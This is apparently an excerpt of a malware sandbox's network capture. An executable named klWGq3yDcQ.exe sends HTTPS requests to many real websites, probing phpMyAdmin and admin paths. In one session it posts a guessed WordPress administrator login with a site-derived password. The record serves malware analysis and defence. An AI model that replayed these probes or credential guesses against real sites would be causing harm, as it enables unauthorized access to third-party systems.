<link rel="stylesheet" href="//static.parastorage.com/services/wix-public/1.719.0/styles/error-pages/styles.css"> ... --></head><body lang="en" ng-controller="ErrorPageController as errorPageCtrl" class="error-page-app" ng-class="
2023-11-26 05:59:45 UTC	1015	IN	Data Raw: 3e 0a 0a 3c 73 63 72 69 70 74 3e 0a 20 20 61 6e 67 75 6c 61 72 2e 6d 6f 64 75 6c 65 28 27 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 27 29 2e 63 6f 6e 73 74 61 6e 74 28 27 73 74 61 74 69 63 73 55 72 6c 27 2c 20 27 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 2e 30 2f 27 29 3b 0a 20 20 61 6e 67 75 6c 61 72 2e 6d 6f 64 75 6c 65 28 27 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 27 29 2e 63 6f 6e 73 74 61 6e 74 28 27 62 61 73 65 44 6f 6d 61 69 6e 27 2c 20 27 77 69 78 2e 63 6f 6d 27 29 3b 0a 20 20 61 6e 67 75 6c 61 72 2e 6d 6f 64 75 6c 65 28 27 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 27 29 2e 63 6f 6e 73 74 61 6e 74 28 27 6c 61 6e 67 75 61 Data Ascii: ><script> angular.module('wixErrorPagesApp').constant('staticsUrl', '//static.parastorage.com/services/wix-public/1.719.0/'); angular.module('wixErrorPagesApp').constant('baseDomain', 'wix.com'); angular.module('wixErrorPagesApp').constant('langua

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
454	192.168.2.4	51602	13.32.208.27	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:44 UTC	171	OUT	GET /pma/ HTTP/1.1 Host: www.perrisesd.org Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:45 UTC	1145	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 30 36 37 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 35 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 72 69 76 61 74 65 0d 0a 53 65 72 76 65 72 3a 20 4d 69 63 72 6f 73 6f 66 74 2d 49 49 53 2f 31 30 2e 30 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 3b 20 69 6e 63 6c 75 64 65 53 75 62 44 6f 6d 61 69 6e Data Ascii: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Content-Length: 3067Connection: closeDate: Sun, 26 Nov 2023 05:59:45 GMTCache-Control: privateServer: Microsoft-IIS/10.0Strict-Transport-Security: max-age=31536000; includeSubDomain
2023-11-26 05:59:45 UTC	3067	IN	Data Raw: 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 53 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 70 65 72 72 69 73 65 73 64 2e 6f 72 67 2f 53 74 61 74 69 63 2f 2f 73 69 74 65 2f 61 73 73 65 74 73 2f 53 74 79 6c 65 73 2f 73 79 73 74 65 6d 5f 32 37 34 31 2e 63 73 73 22 20 2f 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 20 20 20 20 20 20 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 Data Ascii: <html><head> <link rel="Stylesheet" type="text/css" href="https://www.perrisesd.org/Static//site/assets/Styles/system_2741.css" /> <title>Error 404 - Page Not Found</title> <style type="text/css"> @font-face { font

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
455	192.168.2.4	51428	213.0.13.44	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:44 UTC	173	OUT	GET /pma/ HTTP/1.1 Host: www.ceuandalucia.es Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:45 UTC	461	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 35 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 35 2e 34 2e 34 35 2d 30 2b 64 65 62 37 75 31 34 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 4c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 65 75 61 6e 64 61 6c 75 63 69 61 2e 65 73 2f 77 70 2d 6a 73 6f 6e 2f 3e 3b 20 72 65 6c Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:45 GMTServer: ApacheX-Powered-By: PHP/5.4.45-0+deb7u14Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://www.ceuandalucia.es/wp-json/>; rel
2023-11-26 05:59:45 UTC	6	IN	Data Raw: 32 33 30 34 0d 0a Data Ascii: 2304
2023-11-26 05:59:45 UTC	4773	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 20 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 68 74 6d 6c 2d 6c 6f 61 64 69 6e 67 20 77 66 2d 61 63 74 69 76 65 20 69 65 20 6f 6c 64 2d 62 72 6f 77 73 65 72 20 6c 74 2d 69 65 31 30 20 6c 74 2d 69 65 39 20 6c 74 2d 69 65 38 20 6c 74 2d 69 65 37 20 72 65 73 70 6f 6e 73 69 76 65 22 20 69 74 65 6d 73 63 6f 70 65 3d 22 69 74 65 6d 73 63 6f 70 65 22 20 69 74 65 6d 74 79 70 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 57 65 62 50 61 67 65 22 20 6c 61 6e 67 3d 22 65 73 22 20 78 6d 6c 6e 73 3a 6f 67 3d 22 68 74 74 70 3a 2f 2f 6f 70 65 6e 67 72 61 70 68 70 72 6f 74 6f 63 6f 6c 2e 6f 72 67 2f 73 63 68 65 6d 61 2f 22 20 Data Ascii: <!DOCTYPE html>...[if lt IE 7]> <html class="no-js html-loading wf-active ie old-browser lt-ie10 lt-ie9 lt-ie8 lt-ie7 responsive" itemscope="itemscope" itemtype="http://schema.org/WebPage" lang="es" xmlns:og="http://opengraphprotocol.org/schema/"
2023-11-26 05:59:45 UTC	4191	IN	Data Raw: 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 69 6d 67 2e 77 70 2d 73 6d 69 6c 65 79 2c 0a 69 6d 67 2e 65 6d 6f 6a 69 20 7b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 62 6f 72 64 65 72 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 62 6f 78 2d 73 68 61 64 6f 77 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 68 65 69 67 68 74 3a 20 31 65 6d 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 77 69 64 74 68 3a 20 31 65 6d 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 6d 61 72 67 69 6e 3a 20 30 20 2e 30 37 65 6d 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 2d 30 2e 31 65 6d 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 62 61 63 6b Data Ascii: <style type="text/css">img.wp-smiley,img.emoji {display: inline !important;border: none !important;box-shadow: none !important;height: 1em !important;width: 1em !important;margin: 0 .07em !important;vertical-align: -0.1em !important;back
2023-11-26 05:59:45 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:45 UTC	6	IN	Data Raw: 32 37 66 63 0d 0a Data Ascii: 27fc
2023-11-26 05:59:45 UTC	5939	IN	Data Raw: 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 6e 65 77 73 6c 65 74 74 65 72 2d 73 75 62 73 63 72 69 70 74 69 6f 6e 2d 63 73 73 27 20 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 65 75 61 6e 64 61 6c 75 63 69 61 2e 65 73 2f 77 70 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 6e 65 77 73 6c 65 74 74 65 72 2f 73 75 62 73 63 72 69 70 74 69 6f 6e 2f 73 74 79 6c 65 2e 63 73 73 3f 76 65 72 3d 35 2e 31 2e 38 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 6d 6f 6f 76 65 5f 67 64 70 72 5f 66 72 6f 6e 74 65 6e 64 2d 63 73 73 27 20 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f Data Ascii: <link rel='stylesheet' id='newsletter-subscription-css' href='https://www.ceuandalucia.es/wp/wp-content/plugins/newsletter/subscription/style.css?ver=5.1.8' type='text/css' media='all' /><link rel='stylesheet' id='moove_gdpr_frontend-css' href='https:/
2023-11-26 05:59:45 UTC	4297	IN	Data Raw: 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 74 68 65 6d 65 2d 62 6f 6f 74 73 74 72 61 70 2d 63 73 73 27 20 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 65 75 61 6e 64 61 6c 75 63 69 61 2e 65 73 2f 77 70 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 65 6e 76 69 73 69 6f 6e 2f 6c 69 62 2f 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2e 63 73 73 3f 76 65 72 3d 32 2e 30 2e 39 2e 33 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 74 68 65 6d 65 2d 63 68 69 6c 64 2d 66 72 6f 6e 74 65 6e 64 2d 73 74 79 6c 65 2d 63 73 73 27 20 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 77 77 Data Ascii: <link rel='stylesheet' id='theme-bootstrap-css' href='https://www.ceuandalucia.es/wp/wp-content/themes/envision/lib/css/bootstrap.css?ver=2.0.9.3' type='text/css' media='all' /><link rel='stylesheet' id='theme-child-frontend-style-css' href='https://ww
2023-11-26 05:59:45 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:45 UTC	6	IN	Data Raw: 35 62 66 35 0d 0a Data Ascii: 5bf5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
456	192.168.2.4	51584	172.96.186.206	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:44 UTC	330	OUT	POST /wp-login.php HTTP/1.1 Host: samson.pe Accept: / Accept-Encoding: deflate, gzip Cookie: wordpress_test_cookie=WP+Cookie+check User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://samson.pe/wp-login.php Content-Length: 144 Content-Type: application/x-www-form-urlencoded
2023-11-26 05:59:44 UTC	144	OUT	Data Raw: 6c 6f 67 3d 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 26 70 77 64 3d 37 31 32 33 73 61 6d 73 6f 6e 26 72 65 6d 65 6d 62 65 72 6d 65 3d 66 6f 72 65 76 65 72 26 77 70 2d 73 75 62 6d 69 74 3d 49 6e 69 63 69 61 72 2b 73 65 73 69 25 43 33 25 42 33 6e 26 72 65 64 69 72 65 63 74 5f 74 6f 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 73 61 6d 73 6f 6e 2e 70 65 25 32 46 77 70 2d 61 64 6d 69 6e 25 32 46 26 74 65 73 74 63 6f 6f 6b 69 65 3d 31 Data Ascii: log=administrator&pwd=7123samson&rememberme=forever&wp-submit=Iniciar+sesi%C3%B3n&redirect_to=https%3A%2F%2Fsamson.pe%2Fwp-admin%2F&testcookie=1
2023-11-26 05:59:45 UTC	555	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 78 2d 70 6f 77 65 72 65 64 2d 62 79 3a 20 50 48 50 2f 37 2e 32 2e 33 34 0d 0a 65 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 63 6f 6e 74 65 6e 74 2d 74 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 77 6f 72 64 70 72 65 73 73 5f 74 65 73 74 5f 63 6f 6f 6b 69 65 3d 57 50 2b 43 6f 6f 6b 69 65 2b 63 68 65 63 6b 3b 20 70 61 74 68 3d 2f 3b 20 73 Data Ascii: HTTP/1.1 200 OKConnection: closex-powered-by: PHP/7.2.34expires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-cache, must-revalidate, max-age=0content-type: text/html; charset=UTF-8set-cookie: wordpress_test_cookie=WP+Cookie+check; path=/; s
2023-11-26 05:59:45 UTC	813	IN	Data Raw: 32 34 33 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 2d 50 45 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 49 6e 69 63 69 61 72 20 73 65 73 69 c3 b3 6e 20 26 6c 73 61 71 75 6f 3b 20 53 61 6d 73 6f 6e 20 43 6f 6e 74 72 6f 6c 73 20 50 65 72 c3 ba 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 3c 21 Data Ascii: 2435<!DOCTYPE html><html lang="es-PE"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Iniciar sesin &lsaquo; Samson Controls Per — WordPress</title><meta name='robots' content='noindex, follow' /><!
2023-11-26 05:59:45 UTC	8464	IN	Data Raw: 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 6c 6f 67 69 6e 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 73 61 6d 73 6f 6e 2e 70 65 2f 77 70 2d 61 64 6d 69 6e 2f 63 73 73 2f 6c 6f 67 69 6e 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 36 2e 34 2e 31 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 65 6e 65 72 61 74 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 53 69 74 65 20 4b 69 74 20 62 79 20 47 6f 6f 67 6c 65 20 31 2e 31 31 34 2e 30 22 20 2f 3e 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 65 66 65 72 72 65 72 27 20 63 6f 6e 74 65 6e 74 3d 27 73 74 72 69 63 74 2d 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 27 20 2f 3e 0a 09 09 Data Ascii: l='stylesheet' id='login-css' href='https://samson.pe/wp-admin/css/login.min.css?ver=6.4.1' type='text/css' media='all' /><meta name="generator" content="Site Kit by Google 1.114.0" /><meta name='referrer' content='strict-origin-when-cross-origin' />
2023-11-26 05:59:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
457	192.168.2.4	51540	34.240.130.5	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:44 UTC	174	OUT	GET /pma/ HTTP/1.1 Host: www.harasduberry.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:45 UTC	231	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 35 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 73 74 72 69 63 74 2d 74 72 61 6e 73 70 6f 72 74 2d 73 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 36 30 34 38 30 30 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 0d 0a Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:45 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingstrict-transport-security: max-age=604800Server: nginx
2023-11-26 05:59:45 UTC	16153	IN	Data Raw: 66 33 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 66 72 2d 46 52 22 3e 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 2f 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 20 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 75 2e 6a 69 6d 63 64 6e 2e 63 6f 6d 2f 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 20 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 73 73 65 74 73 2e 6a 69 6d 73 74 61 74 69 63 2e 63 6f 6d 2f 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d Data Ascii: f3d<!DOCTYPE html><html lang="fr-FR"><head> <meta charset="utf-8"/> <link rel="dns-prefetch preconnect" href="https://u.jimcdn.com/" crossorigin="anonymous"/><link rel="dns-prefetch preconnect" href="https://assets.jimstatic.com/" crossorigin=
2023-11-26 05:59:45 UTC	16384	IN	Data Raw: 72 65 73 20 63 68 65 76 61 75 78 20 c3 a0 20 76 65 6e 64 72 65 3c 2f 61 3e 3c 2f 6c 69 3e 3c 2f 75 6c 3e 3c 2f 6c 69 3e 3c 6c 69 20 69 64 3d 22 63 63 2d 6e 61 76 2d 76 69 65 77 2d 32 31 31 35 39 31 35 33 37 39 22 20 63 6c 61 73 73 3d 22 6a 6d 64 2d 6e 61 76 5f 5f 6c 69 73 74 2d 69 74 65 6d 2d 30 20 6a 2d 6e 61 76 2d 68 61 73 2d 63 68 69 6c 64 72 65 6e 22 3e 3c 61 20 68 72 65 66 3d 22 2f 69 6e 66 6f 73 2d 70 72 61 74 69 71 75 65 73 2d 70 61 72 2d 72 61 63 65 2f 22 20 64 61 74 61 2d 6c 69 6e 6b 2d 74 69 74 6c 65 3d 22 49 6e 66 6f 73 20 70 72 61 74 69 71 75 65 73 20 70 61 72 20 72 61 63 65 22 3e 49 6e 66 6f 73 20 70 72 61 74 69 71 75 65 73 20 70 61 72 20 72 61 63 65 3c 2f 61 3e 3c 73 70 61 6e 20 64 61 74 61 2d 6e 61 76 69 2d 74 6f 67 67 6c 65 3d 22 63 63 2d Data Ascii: res chevaux vendre</a></li></ul></li><li id="cc-nav-view-2115915379" class="jmd-nav__list-item-0 j-nav-has-children"><a href="/infos-pratiques-par-race/" data-link-title="Infos pratiques par race">Infos pratiques par race</a><span data-navi-toggle="cc-
2023-11-26 05:59:45 UTC	7301	IN	Data Raw: 20 64 65 20 63 6f 6e 74 72 5c 75 30 30 66 34 6c 65 20 4a 69 6d 64 6f 5c 6e 5c 6e 4c 65 73 20 63 6f 6f 6b 69 0d 0a 31 63 35 32 0d 0a 65 73 20 64 65 20 63 6f 6e 74 72 5c 75 30 30 66 34 6c 65 20 4a 69 6d 64 6f 20 70 65 72 6d 65 74 74 65 6e 74 20 61 75 20 76 69 73 69 74 65 75 72 20 64 75 20 73 69 74 65 20 64 27 61 75 74 6f 72 69 73 65 72 20 6c 65 73 20 73 65 72 76 69 63 65 73 5c 2f 63 6f 6f 6b 69 65 73 20 73 5c 75 30 30 65 39 6c 65 63 74 69 6f 6e 6e 5c 75 30 30 65 39 73 20 65 74 20 65 6e 72 65 67 69 73 74 72 65 6e 74 20 6c 65 75 72 73 20 70 72 5c 75 30 30 65 39 66 5c 75 30 30 65 39 72 65 6e 63 65 73 20 65 6e 20 6d 61 74 69 5c 75 30 30 65 38 72 65 20 64 65 20 63 6f 6f 6b 69 65 73 2e 5c 6e 5c 6e 50 72 65 73 74 61 74 61 69 72 65 20 3a 5c 6e 4a 69 6d 64 6f 20 47 Data Ascii: de contr\u00f4le Jimdo\n\nLes cooki1c52es de contr\u00f4le Jimdo permettent au visiteur du site d'autoriser les services\/cookies s\u00e9lectionn\u00e9s et enregistrent leurs pr\u00e9f\u00e9rences en mati\u00e8re de cookies.\n\nPrestataire :\nJimdo G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
458	192.168.2.4	51701	15.235.14.141	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:44 UTC	167	OUT	GET /admin/ HTTP/1.1 Host: unaj.edu.pe Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:45 UTC	473	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 35 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 70 72 69 76 61 74 65 0d 0a 58 2d 44 72 75 70 61 6c 2d 44 79 6e 61 6d 69 63 2d 43 61 63 68 65 3a 20 48 49 54 0d 0a 58 2d 55 41 2d 43 6f 6d 70 61 74 69 Data Ascii: HTTP/1.1 403 ForbiddenServer: nginxDate: Sun, 26 Nov 2023 05:59:45 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: must-revalidate, no-cache, privateX-Drupal-Dynamic-Cache: HITX-UA-Compati
2023-11-26 05:59:45 UTC	15911	IN	Data Raw: 37 39 35 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 22 20 64 69 72 3d 22 6c 74 72 22 20 70 72 65 66 69 78 3d 22 63 6f 6e 74 65 6e 74 3a 20 68 74 74 70 3a 2f 2f 70 75 72 6c 2e 6f 72 67 2f 72 73 73 2f 31 2e 30 2f 6d 6f 64 75 6c 65 73 2f 63 6f 6e 74 65 6e 74 2f 20 20 64 63 3a 20 68 74 74 70 3a 2f 2f 70 75 72 6c 2e 6f 72 67 2f 64 63 2f 74 65 72 6d 73 2f 20 20 66 6f 61 66 3a 20 68 74 74 70 3a 2f 2f 78 6d 6c 6e 73 2e 63 6f 6d 2f 66 6f 61 66 2f 30 2e 31 2f 20 20 6f 67 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 20 20 72 64 66 73 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 31 2f 72 64 66 2d 73 63 68 65 6d 61 23 20 20 73 63 68 65 6d 61 3a 20 68 74 74 70 3a 2f 2f Data Ascii: 795e<!DOCTYPE html><html lang="es" dir="ltr" prefix="content: http://purl.org/rss/1.0/modules/content/ dc: http://purl.org/dc/terms/ foaf: http://xmlns.com/foaf/0.1/ og: http://ogp.me/ns# rdfs: http://www.w3.org/2000/01/rdf-schema# schema: http://
